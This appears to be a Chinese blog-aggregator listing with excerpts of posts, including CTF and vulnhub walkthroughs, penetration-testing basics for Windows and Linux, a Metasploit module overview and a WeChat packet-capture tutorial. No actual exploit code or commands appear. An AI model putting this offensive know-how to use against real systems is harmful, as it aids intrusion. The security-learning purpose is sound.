    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more